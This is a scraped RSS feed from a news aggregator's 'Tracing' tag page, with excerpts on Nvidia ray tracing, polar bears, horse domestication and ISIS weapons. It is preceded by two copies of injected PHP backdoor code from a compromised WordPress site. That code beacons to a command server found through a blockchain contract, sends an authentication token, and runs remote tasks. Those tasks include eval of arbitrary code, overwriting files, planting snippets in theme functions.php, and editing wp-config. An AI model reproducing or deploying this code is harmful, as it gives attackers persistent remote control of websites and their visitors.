// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Tracing – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 24 Aug 2018 05:50:27 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Tracing – Brief News https://briefnews.eu 32 32 GamesBeat Decides 93: Ray tracing is the future! https://briefnews.eu/gamesbeat-decides-93-ray-tracing-is-the-future/ https://briefnews.eu/gamesbeat-decides-93-ray-tracing-is-the-future/#respond Fri, 24 Aug 2018 05:50:27 +0000 http://briefnews.eu/gamesbeat-decides-93-ray-tracing-is-the-future/

The GamesBeat Decides podcast is back, and it’s going to get it right this time. On this episode, GamesBeat PC gaming editor Jeffrey Grubb and review editor Mike Minotti talk about video games and private detective Ray Tracing. The crew also dives into the NPD numbers for July. Nintendo did really well, and so did Octopath Traveler. Join us i…Read More

]]> https://briefnews.eu/gamesbeat-decides-93-ray-tracing-is-the-future/feed/ 0 NVIDIA’s Turing-powered GPUs are the first ever built for ray tracing https://briefnews.eu/nvidias-turing-powered-gpus-are-the-first-ever-built-for-ray-tracing/ https://briefnews.eu/nvidias-turing-powered-gpus-are-the-first-ever-built-for-ray-tracing/#respond Tue, 14 Aug 2018 08:18:16 +0000 http://briefnews.eu/nvidias-turing-powered-gpus-are-the-first-ever-built-for-ray-tracing/

Earlier this year NVIDIA announced a new set of “RTX” features that included support for advanced ray tracing features, upgrading a graphics technique that simulates the way light works in the real world. It’s expected to usher in a new generation of hyper-realistic graphics but there was one small problem: no one made any hardware to support the new stuff yet.

Now at the SIGGRAPH conference NVIDIA CEO Jen Hsun Huang revealed eighth-generation Turing GPU hardware that’s actually capable of accelerating both ray tracing and AI. Turing can render ray tracing 25x faster than old Pascal technology thanks to dedicated processors that will do the math on how light and sound travel through 3D environments. They’re also the first graphics cards announced with Samsung’s new GDDR6 memory on board to move data faster using less power than ever before.

The first implementations of this technology aren’t intended to play games, they’re for the people who make them, as well as anyone doing work rendering objects for movies, or modeling new products like this Porsche prototype shown in the demo. As an example of how powerful the new tech is, NVIDIA showed off the impressive “Reflections” Unreal Engine demo that we first saw during GDC running on a workstation with four of its older Volta GPUs, now rendered in real-time using a single Turing card. It won’t stay that limited forever though, Microsoft is already supporting ray tracing with DXR extensions in DirectX 12.

Porsche prototype rendered in Unreal Engine on Turing hardware

Porsche

NVIDIA announced three graphics cards with the technology, all due in the fourth quarter. The Quadro RTX 5000, 6000 and 8000 will go on sale for $ 2,300, $ 6,300 and $ 10,000, respectively, with the top of the line 8000 packing 48GB of RAM. If that’s not flexible enough there will also be an option for a RTX server that will give datacenter-style access to a GPU for multiple users — there’s no word on how much that costs.

Source: NVIDIA, Turing

]]> https://briefnews.eu/nvidias-turing-powered-gpus-are-the-first-ever-built-for-ray-tracing/feed/ 0 Nvidia unveils real-time ray tracing Turing graphics architecture https://briefnews.eu/nvidia-unveils-real-time-ray-tracing-turing-graphics-architecture/ https://briefnews.eu/nvidia-unveils-real-time-ray-tracing-turing-graphics-architecture/#respond Tue, 14 Aug 2018 08:17:28 +0000 http://briefnews.eu/nvidia-unveils-real-time-ray-tracing-turing-graphics-architecture/ Jensen Huang of Nvidia shows off 10 GigaRay graphics card, the Quadro RTX 8000.

Nvidia said it “reinvented computer graphics” with the unveiling of its Nvidia Turing graphics processing unit (GPU) architecture. The architecture will be the foundation for a whole family of future graphics chips that will focus on real-time ray tracing, or highly realistic, physically accurate graphics. Jensen Huang, CEO of Nvidia, s…Read More

]]> https://briefnews.eu/nvidia-unveils-real-time-ray-tracing-turing-graphics-architecture/feed/ 0 In photos: Tracing the footsteps of Manitoba’s polar bears https://briefnews.eu/in-photos-tracing-the-footsteps-of-manitobas-polar-bears/ https://briefnews.eu/in-photos-tracing-the-footsteps-of-manitobas-polar-bears/#respond Tue, 14 Aug 2018 08:10:46 +0000 http://briefnews.eu/in-photos-tracing-the-footsteps-of-manitobas-polar-bears/
Susan Portnoy

For photographer Susan Portnoy, the opportunity to shoot polar bears—with her camera, of course—was an experience not to be missed. And so, lens at the ready, she ventured into Manitoba’s Hudson Bay.

My fingers have gone numb. Again.

I pull my mittens over my gloves and wait for the familiar prickly sensation that means my digits have started to thaw. At minus 34 degrees Celsius—and that’s without wind chill—the metal on my camera has become an adversary, and I can’t photograph too long without a break.

Radio Bear however, sporting heavy fur and several inches of fat, is content to lie on the ice. Tucking her nose into the bend of her elbow, she curls herself into a fetal position and closes her eyes. She may be the world’s largest land carnivore, but she looks more like a slumbering house cat than a polar bear.

There are also ptarmigan and Arctic hares. The hares are larger than their southern counterparts with longer back legs and are perfectly camouflaged—I rarely see them unless they move. I’ve come to think of them as the clowns of the tundra, little slapstick characters that roll in the snow and hop in every direction on their goofy oversized feet.

RELATED: Photos from Antarctica, Earth’s last wilderness

Wolves are less common, though one evening we hear a pack howling like something from a Dracula flick. Following their cries, we find a lone caribou standing on the crest of a hill. “Where there’s caribou, there’s wolves,” says Rob, grinning. The howling stops as we reach a lake and in the sapphire light of the blue hour, we spy a wolf racing across the ice. Then another, and another. We only see them for a few seconds before they vanished into the night, but I am downright giddy.

She’s in front of me now, about 20 meters ahead. My heart is pounding, but until Andy says otherwise, I’m clicking away on my camera. He grabs two rocks to bang together, another tactic in an escalating strategy to warn her off. Some 30 feet away, she stops, sniffs the air then walks away to my right. We watch gobsmacked as she crashes through a clump of willows and disappears.

As the last glimpse of her disappears from view, I’m reminded that these incredible creatures, as a whole, are in jeopardy. According to Polar Bears International, the rise in global warming has been responsible for a 30 per cent reduction in Arctic sea ice since 1979. As a result, PBI says, “scientists predict that as the Arctic continues to warm, two-thirds of the world’s polar bears could disappear within this century.” They could be extinct by 2100.

While Hudson Bay polar bear populations seem to be stable at the moment, thousands of miles north in Baffin Bay, the South Beaufort Sea and Kane Basin, bear numbers are in decline.

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]]> https://briefnews.eu/in-photos-tracing-the-footsteps-of-manitobas-polar-bears/feed/ 0 Tracing how horse domestication turned the Eurasian Steppe into a highway https://briefnews.eu/tracing-how-horse-domestication-turned-the-eurasian-steppe-into-a-highway/ https://briefnews.eu/tracing-how-horse-domestication-turned-the-eurasian-steppe-into-a-highway/#respond Sun, 13 May 2018 08:36:45 +0000 http://briefnews.eu/tracing-how-horse-domestication-turned-the-eurasian-steppe-into-a-highway/

Enlarge / Horses on the Kazakh Steppe. (credit: Togzhan Ibrayeva via Wikimedia Commons)

From Neanderthals to human hunter-gatherers to the mounted horde of Genghis Khan, the Eurasian Steppe has long been a crossroads of humanity. And for the last 5,000 years or so, domesticated horses have shaped how people moved through, lived in, and dominated that vast grassland stretching from Hungary and Romania to Northeastern China. A paleogenomic study adds new evidence to the debate about where people first domesticated horses, and a related study reveals the impact of horsemanship on the peopling of the steppe.

The first evidence we have of domesticated horses comes from a site called Botai in Northern Kazakhstan, where archaeologists have found evidence of milking, corrals, and the use of harnesses. But there’s still debate about whether hunter-gatherers at Botai started domesticating horses—which they’d previously hunted for meat—in order to milk and ride them. It’s possible they learned from herders farther west, such as the people whose graves have been found at Khvalynsk dating from around 7,150 to 5,930 years ago.

To get a better picture, Copenhagen University evolutionary geneticist Eske Willerslev and his colleagues examined the ancestry of 74 people who lived on the Eurasian Steppe from 11,000 years ago up through the Medieval period. Among other things, they wanted to see whether the Botai had interbred with the Yamnaya, the pastoral descendants of the Khvalynsk people. If they had, that would be a clue that the Botai had interacted with the Yamnaya enough to perhaps exchange cultural ideas as well as genes.

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]]> https://briefnews.eu/tracing-how-horse-domestication-turned-the-eurasian-steppe-into-a-highway/feed/ 0 Exclusive: Tracing ISIS’ Weapons Supply Chain—Back to the US https://briefnews.eu/exclusive-tracing-isis-weapons-supply-chain-back-to-the-us/ https://briefnews.eu/exclusive-tracing-isis-weapons-supply-chain-back-to-the-us/#respond Tue, 12 Dec 2017 11:02:57 +0000 http://briefnews.eu/exclusive-tracing-isis-weapons-supply-chain-back-to-the-us/ The Islamic State is designing and mass-producing its own advanced munitions—with parts from all over the world.


